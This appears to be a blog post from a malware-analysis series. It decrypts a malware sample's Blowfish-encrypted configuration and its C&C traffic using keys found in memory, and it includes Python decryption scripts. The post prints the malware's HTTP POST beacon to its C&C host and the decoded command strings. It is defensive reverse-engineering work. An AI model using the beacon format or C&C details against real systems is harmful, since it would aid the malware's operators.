Following the last post, I found in memory some interesting strings:
- 4e66766e6b6a6c6e766b6a4b434e584b444b4c4648534b443a
- 12345678
Searching for those strings in Google, I find two interesting articles
#!/usr/bin/python
from Crypto.Cipher import Blowfish
from Crypto import Random
from struct import pack
from binascii import hexlify, unhexlify
import sys
file1 = sys.argv[1]
file2 = sys.argv[2]
file_out = sys.argv[3]
ciphertext_base64 = open(file1,'r')
blfs_key = open(file2,'r')
file_blfs_key = blfs_key.read()
file_ciphertext_base64 = ciphertext_base64.read()
#ciphertext_base64.read
ciphertext_raw = file_ciphertext_base64.decode("base64")
IV = "12345678"
_KEY = file_blfs_key
ciphertext = ciphertext_raw
KEY = hexlify(_KEY)[:50]
cipher = Blowfish.new(KEY, Blowfish.MODE_CBC, IV)
message = cipher.decrypt(ciphertext)
config_plain = open(file_out,'w')
config_plain.write(message)
The first argument is the file containing the config encrypted (config.cfg), the second one is the file with the key (blfs.key) and the third one is the file where to dump the configuration file in clear text.
To check the script, I use a more recent sample (3df9a48b543d900d2fe502daa78d27a2eb66b99bce42f745ceb8fbe0db0efeae
) from a few weeks ago.
$python decode3.py config.cfg blfs.key config_plain.txt
I also tried to do it with OpenSSL as this tool is really powerful to encrypt, decrypt, decoded and encode base64 strings, etc, but unfortunately OpenSSL doesn't support Blowfish with a key bigger than 256bits.
Now that I know what the keys in memory are used for and that I can decrypt the initial config file which contains the C&C URL, I am going to check if there is something in the memory dump from previous post which might be encrypted the same way. I say that because I suspect that the data sent in the HTTP POST is using the same kind of encryption (base64 + Blowfish). For example, it is worth to check the initial HTTP POST sent by the compromised device to the C&C.
POST /img/main.php HTTP/1.1
User-agent: Mozilla/5.0 (Windows NT 5.1; rv:26.0) Gecko/20100101 Firefox/26.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Pragma: no-cache
Host: anman.com
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 1354
i=McsZtRV7Bv7ZjMSzwk5aIyZEiijP8F38NJcxd5VNElbrlo%2FJB4BPQWpkRjN2pXBhPrmxfuJzMEC%2F%0ABb8AQarQilW71ri4fhjb3Fd6zeGkgg1lV%2B1b%2B42po%2Bd8Xh0mkmHMeE8q6Ov9atedif800UTMtbHK%0AMy3kAD9ZmuC3yOejMJ1%2BGRDc%2F057x8d7zPCEorf87Gj6BH7oXMXikrQlgobvfVkTPuSHJ8b47lxk%0Ad3xI8PQP5vbLDoyDp0vAyfmxNTGjUF%2Fvwg1MIgCBMnYg6O5GGJSxXzjP14%2BAExvGsOXy%2BIpj%2FhpD%0AAZNkycp%2BshcbF%2FTXVJmEd1BD2%2FBQU3LwuUzK4%2B98%2FWPbGY0m2jK7BktB5kJmdCoYIn0bM7SG%2FPxs%0AvPlXYKFjEBO4KfMwyQygUsi2aT%2FZbiPfdo3AnGD3d6ewRTsB%2F8XHRO4R3nsspzZ7AjDKB%2FjeW7rC%0ASD%2BKuRZaUrrmXckwLbssneu6OkeQTdLliwLzweIfWHpyMa5jCZ3rfZ1teGs3eNlr1V91h%2FGxjygz%0A8JxLwNLUin0ZW9axolXA6TG7WuzAiz5VVBiXEF7pZO2SPbJA6vSjmPqU8mWYO4vv%2FQ103LVBK3YY%0AlztTLbDvgINwm%2B%2FKPw7UGgo1Ua3eJdMwTIJer7XnzHLeucS7kccI5UHX2n2lzBNA35%2BleqIME3%2Fe%0A4NNG2vVREhQXamdhCToLOAXE5Sg%2Btkh5otiNh9kTkbbyKFqqcTNS6U5ZWPNTwZrvJ7gLQhwpBeEk%0Afp1DTlhIs2QAimwdBk8l1tAq%2BHEHhWY7X58iFdT%2Ffx9%2FdNJnnO5hyWMQtZkJLG0L7oc0nl3%2BDvN6%0AbNXksJ8%2Bij4tMbKeNCru0GQ%2BnLee5OJl4wzf8PrFAt7p0Uc2lx2FLnBSOImQAjxacbId78bHf5Fv%0Ae2cAkq5zCiR45N6A21ew%2BJNOCG6wsafA0%2Fwhvvl0LARuG8%2FTfWSuiJFmMN6UifkTKGwEc9B7tbc8%0AOsvDqsdZPSgbI32HqwTWIQb1Q4gIdyNobbKdntEma8hD9bBguQjxbgMkaIlSDfWj5sV
This HTTP POST request is URL encoded, so we need to decode it first. We can do it very easily in python:
import sys
import urllib
file1 = sys.argv[1]
url_encode = open(file1,'r')
url_encode_2 = url_encode.read()
url_decode = urllib.unquote(url_encode_2).decode('utf8')
print url_decode
So finally I have the string URL decoded.
Now, it is time to try to decrypt the data, using the script for the Blowfish decryption:
$python decode3.py output_string_decoded.txt blfs.key output
Bingo! The data is there in clear text. I can see the full command sent through HTTP to the C&C. This command is composed of:
- An initial string: a:4:{s:6:"device";s:750:
- A base64 encoded string
- The final string: ";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:16:"Rand code: 67302";}";}
The first and third string are some C&C commands. The second string, in base64, can be decoded with the command 'base64 --decode'.
Very interesting data: the full information of the device is displayed!. So let's recap a bit what is going on here:
- The malware dumps lot of key information from the device (fingerprint)
- The malware encodes base64 all that data
- The malware encrypts all the data from previous step together with some other C&C commands.
- The malware send through HTTP POST all the encrypted data from previous step.
But all this information could be also gathered from memory without the need of reversing the HTTP communication. For example, some other C&C commands seen in memory:
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}";}.
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:16:"Rand code: 67302";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}";}
Rand code:
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}";}
Rand code: 229195
a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}
Rand code: 67302
Rand code: 664398
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}";}.
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:16:"Rand code: 67302";}";}
a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:16:"Rand code: 67302";}
During this post I explained how it is possible to reverse and decrypt the initial configuration file of the malware, which contains the URL C&C but also the initial HTTP communication with the C2C. Also, that this information is also in memory in clear text.